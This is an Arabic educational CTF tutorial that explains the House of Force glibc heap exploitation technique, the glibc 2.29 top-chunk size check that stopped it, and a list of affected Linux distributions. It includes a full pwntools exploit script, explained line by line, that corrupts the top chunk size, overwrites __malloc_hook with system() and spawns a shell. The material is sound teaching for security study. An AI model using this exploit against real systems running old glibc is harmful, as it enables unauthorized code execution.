Sahm Study
تحميل البينري الضعيف
sahmstudy.online @Silent0pCode
EDUCATIONAL · CTF / SECURITY RESEARCH

HOUSE OF FORCE التحليل العميق لماذا مات — وكيف عاش — وكيف استغللناه

شرح شامل: تشريح Top Chunk بايت بايت، كل سطر في كود الاستغلال مشروح سطراً بسطر، لماذا أوقفت glibc الحديثة هذه التقنية تحديداً، الأنظمة المتأثرة، ومختبر تفاعلي.

glibc ≤ 2.28 ضعيف glibc ≥ 2.29 محمي top chunk __malloc_hook system_mem check
// 01 — top chunk anatomy

تشريح Top Chunk بايت بايت Top Chunk Internal Structure

قبل أي استغلال يجب أن نفهم Top Chunk من الداخل. ليس مجرد "بقية الـ heap" — إنه هيكل بيانات دقيق يتحكم في كل تخصيص مستقبلي.

ماذا يرى malloc في الذاكرة؟

الإزاحةالحجمالحقلقيمة نموذجيةالوصف
top − 0x108 bytesprev_size 0x0 يُستخدم فقط إذا كان الـ chunk السابق free. عادة 0.
top − 0x088 bytessize ← هدفنا 0x20fd1 حجم top chunk الكلي + flags في البتات الثلاثة الأدنى.
top + 0x00variableuser space 0x00… الذاكرة الخام غير المستخدمة. malloc يقطع منها chunks جديدة.

البتات الثلاثة الأدنى في حقل الـ size

الـ nibble الأخير من حقل الـ size ليس جزءاً من الحجم الفعلي — البتات الثلاثة الأدنى محجوزة كـ flags:

البتالاسمالقيمةالمعنى
bit 0PREV_INUSE (P)0x1الـ chunk السابق (في ذاكرة أدنى) مُستخدم حالياً بالبرنامج.
bit 1IS_MMAPPED (M)0x2هذا الـ chunk تم تخصيصه بـ mmap() وليس بـ brk().
bit 2NON_MAIN_ARENA (A)0x4الـ chunk ينتمي لـ thread arena ثانوية وليس الـ main arena.
bits 3–63الحجم الفعليsize & ~0x7الحجم الحقيقي للـ chunk. دائماً محاذى لـ 16 بايت.
مثال عملي

القيمة 0x20fd1 تعني: حجم فعلي 0x20fd0 بايت (نطرح bit 0) + الـ chunk السابق مُستخدم (PREV_INUSE=1). هذا ≈ 135,000 بايت وهو ما يراه pwndbg في vis_heap_chunks.

كود glibc الداخلي — كيف يقرأ الـ size

هذا هو المنطق الحقيقي داخل _int_malloc في glibc عند التخصيص من top chunk:

glibc/malloc/malloc.c — _int_malloc (simplified)
1
/* Get top chunk and read its size field */
2
victim = av->top;
مؤشر لـ header الـ top chunk
3
size = chunksize(victim);
يقرأ من الذاكرة مباشرة — لا فحص!
4
/* ─────────────────────────────────────────── */
5
/* glibc ≤ 2.28: ZERO integrity check here */
الثغرة: قيمة مقروءة بدون تحقق
6
/* glibc ≥ 2.29: system_mem check added below */
الإصلاح يأتي هنا
7
/* ─────────────────────────────────────────── */
8
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
هل الـ top chunk كبير كفاية؟
9
remainder_size = size - nb;
ما يتبقى بعد الـ chunk الجديد
10
remainder = chunk_at_offset(victim, nb);
عنوان top chunk الجديد
11
av->top = remainder;
يحدّث مؤشر top chunk في الـ arena
12
set_head(victim, nb | PREV_INUSE);
يضع size الـ chunk الجديد
13
set_head(remainder, remainder_size | PREV_INUSE);
يضع size الـ top chunk الجديد
14
return chunk2mem(victim);
يعيد pointer لـ user data
15
}
قراءة من الذاكرة تحديث arena موضع الثغرة نتيجة / إصلاح
⚠️ النقطة الحرجة

السطر size = chunksize(victim) يقرأ مباشرة من الذاكرة بدون أي تحقق. إذا كتبنا 0xfffffffffffffff1 في ذلك الحقل، يعتقد malloc أن top chunk يغطي كل الـ virtual address space ويتصرف وفق ذلك.

// 02 — modern glibc mitigation

لماذا glibc الحديثة رفضت هذه التقنية؟ The Patch — glibc 2.29+

في بداية 2019، أضاف مطورو glibc سطراً واحداً فقط — لكنه قضى على House of Force بالكامل. دعونا نشرح المشكلة والحل بدقة.

المقارنة: قبل الإصلاح وبعده

glibc 2.28 — بدون حماية:

glibc 2.28 — VULNERABLE (no check)
1
victim = av->top;
يأخذ مؤشر top chunk
2
size = chunksize(victim); /* ← reads attacker value, no check */
يقرأ قيمة المهاجم مباشرة!
3
/* no integrity check at all ← this is the bug */
غياب كامل للتحقق
4
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
الشرط يمر بأي قيمة ضخمة
5
/* allocates from wherever attacker wants */
الاستغلال ينجح
6
}

glibc 2.29+ — مع الحماية:

glibc 2.29 — PATCHED (system_mem check)
1
victim = av->top;
مؤشر top chunk
2
size = chunksize(victim);
يقرأ الـ size field
3
/* ★ THE FIX — one line added in glibc 2.29 */
السطر الذي أوقف التقنية
4
if (__builtin_expect(size > av->system_mem, 0))
يقارن بحجم الذاكرة الفعلي
5
malloc_printerr("malloc(): corrupted top size");
crash فوري — لا allocation
6
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
يصل هنا فقط إذا كان الـ size طبيعياً
7
/* normal allocation — attacker blocked */
الاستغلال يفشل
8
}
السطر المضاف (الإصلاح) كود قديم ضعيف
ما هو system_mem؟

av->system_mem متغير داخل كل arena يتتبع الحجم الفعلي للذاكرة المطلوبة من الـ OS عبر brk() أو mmap(). إذا كان الـ heap الافتراضي ~135 KB (0x21000)، فأي قيمة أكبر منه في حقل top chunk ستُكشف فوراً:

0xfffffffffffffff1 > 0x21000true → crash!

التطور التاريخي لحمايات glibc

≤ 2.25
لا tcache، لا حماية لـ top chunk

House of Force تعمل بالكامل. لا يوجد أي فحص على حجم top chunk. أبسط وأقوى نسخة من التقنية — الهدف المثالي هو أي برنامج يستخدم هذه الإصدارات.

2.26–2.28
tcache مُضاف — لكن top chunk لا يزال عارياً

الـ tcache (thread-local cache) أضاف تعقيداً لتقنيات أخرى مثل Fastbin Dup، لكن House of Force لا يتأثر به إطلاقاً — ما زلنا نستطيع تخريب top chunk بنفس الطريقة.

كودنا يستهدف glibc 2.23 تحديداً — من هذا النطاق.

2.29 ★
الإصلاح — فحص system_mem

House of Force ميت رسمياً من هذا الإصدار. سطر واحد أضيف في commit بعنوان "malloc: Add integrity check for top chunk" أنهى التقنية تماماً.

2.34+
حذف malloc hooks نهائياً

حتى لو استطعت تجاوز فحص system_mem بطريقة ما، فإن __malloc_hook و__free_hook و__realloc_hook حُذفت كلياً من glibc 2.34. الهدف المفضل للتقنية لم يعد موجوداً في الأنظمة الحديثة.

هل House of Force ميت تماماً؟

على الأنظمة الحديثة: نعم. لكنه مهم جداً لـ: (1) فهم heap internals — أساس كل تقنيات الـ heap exploitation، (2) أنظمة Embedded/IoT تستخدم glibc قديم، (3) CTFs التي تحدد إصدار glibc يدوياً، (4) فهم لماذا أُضيف فحص system_mem يساعد على فهم حدود الحمايات الأخرى.

// 03 — exploit code line by line

كود الاستغلال سطراً بسطراً Every Line Explained

١. الاستيراد والتهيئة

python — lines 1–6 · setup
1
from pwn import *
يستورد مكتبة pwntools كاملة
2
elf = ELF("./house_of_force")
يحمّل ويحلل البينري المستهدف
3
libc = ELF("/home/kali/.../libc.so.6")
يحمّل glibc 2.23 لمعرفة offsets
4
io = process("./house_of_force")
يشغّل البينري كـ child process
5
gdb.attach(io)
يفتح GDB في terminal منفصل
6
pause()
يوقف حتى يضغط المستخدم Enter
استيراد / ربط تحليل الملفات تشغيل العملية توقف للتصحيح
لماذا نحمّل libc منفصلاً؟

ELF("libc.so.6") يقرأ الـ offsets الثابتة لكل دالة داخل المكتبة. بعد أن نكتشف عنوان runtime لأي دالة (عبر الـ leak)، يستطيع pwntools حساب عنوان base المكتبة وبالتالي عنوان أي دالة أخرى ديناميكياً — حتى مع ASLR.

٢. التقاط التسريبات وحساب العناوين

python — lines 8–16 · address leaks
8
io.recvuntil(b"puts() @ ")
يتجاهل كل شيء حتى هذه السلسلة
9
puts_leak = int(io.recvline().strip(), 16)
يقرأ العنوان المسرَّب كـ hex
10
io.recvuntil(b"heap @ ")
يتجاهل حتى سلسلة الـ heap
11
heap_leak = int(io.recvline().strip(), 16)
عنوان بداية الـ heap
12
libc.address = puts_leak - libc.sym["puts"]
base المكتبة = leak − offset ثابت
13
malloc_hook = libc.sym["__malloc_hook"]
عنوان الهدف يُحسب تلقائياً
14
system = libc.sym["system"]
عنوان دالة system()
15
binsh = next(libc.search(b"/bin/sh"))
يبحث عن السلسلة داخل libc
16
top_chunk = heap_leak + 0x20
بعد chunk الـ binary الأول (0x20)
استقبال / قراءة التقاط عنوان حساب عناوين مشتقة بحث في libc
منطق تجاوز ASLR

ASLR تعشوئ عنوان base المكتبة عند كل تشغيل، لكن المسافة (offset) بين أي دالتين داخل نفس المكتبة ثابتة دائماً. بمجرد معرفة عنوان puts() runtime، نطرح منه الـ offset الثابت لـ puts → نحصل على base → نضيف offset أي دالة أخرى. هذا ما يفعله السطر 12 بالضبط.

لماذا top_chunk = heap + 0x20؟

البينري يُخصّص chunk واحداً لنفسه عند التشغيل بحجم 0x20 (32 بايت: 8 header + 24 data). لهذا top chunk يبدأ بعده مباشرة عند heap_base + 0x20. إذا كان البينري خصّص أكثر، تحتاج تتبّع ذلك في GDB بـ vis.

٣. الخطوة الأولى — تخريب حجم Top Chunk

python — lines 18–23 · step 1: corrupt top chunk
18
payload = b"A"*24 + p64(0xfffffffffffffff1)
24 fill + 8 overflow للـ top chunk
19
io.sendlineafter(b"> ", b"1")
يختار option 1 (malloc)
20
io.sendlineafter(b"size: ", b"24")
يطلب chunk بحجم 24 بايت
21
io.sendafter(b"data: ", payload)
يرسل بدون \n لعدم قطع الـ payload
22
log.success("Top chunk corrupted!")
تأكيد بصري للخطوة
بناء الـ payload تواصل مع البينري تأكيد
لماذا 0xfffffffffffffff1 وليس 0xffffffffffffffff؟

glibc يتطلب أن يكون حجم الـ chunk محاذياً (aligned to 16 bytes)، أي آخر nibble = 0. كذلك البت 0 (PREV_INUSE) يجب أن يكون 1. إذاً: 0xfffffffffffffff0 | 0x1 = 0xfffffffffffffff1. القيمة ...ff ستُسبب مشكلة لأن آخر nibble = f وليس 0 | flags.

sendlineafter مقابل sendafter

sendlineafter(prompt, data) ينتظر الـ prompt ثم يرسل data + "\n". أما sendafter فيرسل بدون \n — مهم جداً لحقل data لأن بعض البرامج تقرأ حتى \n وتتوقف، مما يقطع الـ payload ويمنع وصول bytes الـ overflow.

٤. الخطوة الثانية — تحريك Top Chunk نحو malloc_hook

python — lines 24–30 · step 2: move top chunk
24
evil_size = malloc_hook - top_chunk - 0x20
المسافة ناقص header واحد
25
evil_size &= 0xffffffffffffffff
يحوّل السالب لـ unsigned 64-bit
26
io.sendlineafter(b"> ", b"1")
option 1
27
io.sendlineafter(b"size: ", str(evil_size).encode())
يرسل الحجم الضخم كـ string
28
io.sendafter(b"data: ", b"B")
بايت واحد — لا نهتم بالبيانات هنا
29
log.success("Top chunk moved!")
top chunk الآن قبل malloc_hook
حساب المسافة تحويل Python integer إرسال الطلب
لماذا نطرح 0x20 من الحساب؟

عندما يطلب malloc chunk بحجم evil_size، يستهلك evil_size + header (0x10) بايت من top chunk. الـ top chunk الجديد يقع عند top_chunk + evil_size + 0x10. نريد top chunk الجديد أن يكون قبل malloc_hook بمقدار header كامل (0x10) بحيث تبدأ user data الـ chunk التالي عند malloc_hook بالضبط. الحل: نطرح 0x20 = 0x10 header الـ chunk الحالي + 0x10 الـ header القادم.

لماذا &= 0xffffffffffffffff؟

Python يتعامل مع الأعداد كـ arbitrary-precision integers — لا حد للحجم. إذا كان malloc_hook < top_chunk، سيكون الناتج رقماً سالباً في Python مثل -5. لكن البينري يتوقع unsigned 64-bit integer. الـ &= 0xffffffffffffffff يقنع Python بتمثيل الرقم كـ two's complement 64-bit: -50xfffffffffffffffb.

٥. الخطوتان الثالثة والرابعة — الكتابة والتنفيذ

python — lines 31–41 · steps 3 & 4: write + trigger
31
# Step 3: chunk's user data lands on __malloc_hook
الـ chunk الجديد يغطي الهدف
32
io.sendlineafter(b"> ", b"1")
option 1
33
io.sendlineafter(b"size: ", b"24")
أي حجم ≥ 8 بايت يكفي
34
io.sendafter(b"data: ", p64(system))
يكتب عنوان system() في malloc_hook
35
log.success("malloc_hook overwritten!")
من الآن malloc() = system()
36
# Step 4: malloc(binsh) ≡ system("/bin/sh")
الاستغلال النهائي
37
io.sendlineafter(b"> ", b"1")
option 1 — استدعاء malloc()
38
io.sendlineafter(b"size: ", str(binsh).encode())
عنوان /bin/sh كـ "حجم" وهمي
39
io.interactive()
يسلّم التحكم للمستخدم — shell!
كتابة / تنفيذ تواصل الـ payload النهائي
السر الأنيق في الخطوة الرابعة

glibc تفحص __malloc_hook في بداية كل استدعاء لـ malloc(). إذا لم يكن null، تستدعيه مع نفس المعاملات. نحن وضعنا system() فيه، وأرسلنا عنوان /bin/sh كـ "حجم". النتيجة: malloc(binsh_addr)system(binsh_addr)system("/bin/sh") → shell!

لماذا /bin/sh موجودة داخل libc؟

دوال مثل system() تنفّذ داخلياً execve("/bin/sh", ["sh", "-c", cmd], env). لهذا السلسلة /bin/sh\x00 مُضمّنة في binary المكتبة. next(libc.search(b"/bin/sh")) يبحث في bytes المكتبة ويعيد عنوانها — نفس العنوان المستخدم في libc نفسها.

// 04 — affected systems

الأنظمة المتأثرة بالتقنية Vulnerable Systems

House of Force تعمل على الأنظمة التي تستخدم glibc ≤ 2.28 وتسمح بـ heap overflow يصل لـ top chunk. إليك التفصيل:

🐧
Ubuntu 16.04 LTS
glibc 2.23 — هدفنا في هذا الكود
VULNERABLE
🐧
Ubuntu 18.04 LTS
glibc 2.27
VULNERABLE
🐧
Debian 9 Stretch
glibc 2.24
VULNERABLE
🐧
Debian 10 Buster
glibc 2.28 — آخر إصدار ضعيف
VULNERABLE
🔴
RHEL / CentOS 7
glibc 2.17
VULNERABLE
🐧
Ubuntu 20.04 LTS
glibc 2.31
PATCHED
🐧
Ubuntu 22.04+
glibc 2.35 — hooks محذوفة أيضاً
FULLY PATCHED
📦
Alpine Linux
musl libc — مختلف كلياً
N/A
🔧
Embedded / IoT
غالباً glibc قديم
تحقق من الإصدار

كيف تتحقق من إصدار glibc؟

bash — detect glibc version
1
ldd --version
أسرع طريقة — يطبع الإصدار مباشرة
2
cat /proc/<PID>/maps | grep libc
من عملية جارية — يعطي المسار
3
# في GDB بعد attach:
داخل جلسة التصحيح
4
vmmap libc
pwndbg يعرض الإصدار في المسار
5
# في pwntools:
برمجياً
6
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
يحمّل المكتبة
7
print(libc.version)
يطبع tuple مثل (2, 23)
// 05 — interactive lab

المختبر التفاعلي Exploit Walkthrough Simulator

عدّل كود الاستغلال أو حمّل ملف binary لمحاكاة خطوات الـ exploit ورؤية النتائج خطوة بخطوة.

// EXPLOIT SIMULATOR · house_of_force · glibc 2.23
EXPLOIT CODE — edit freely
SIMULATION OUTPUT
// المحاكاة لم تبدأ بعد. // اضغط "تشغيل المحاكاة" للبدء. // يمكنك رفع ملف binary أو تعديل الكود.
جاهز glibc: 2.23 Binary: house_of_force (محاكاة) ASLR: disabled (GDB mode)
📝 ملاحظة

هذا المحاكي تعليمي — يشرح الخطوات ويحاكي المخرجات بعناوين ديناميكية واقعية. لتشغيل الـ exploit فعلياً تحتاج Linux مع glibc ≤ 2.28 والبينري المستهدف.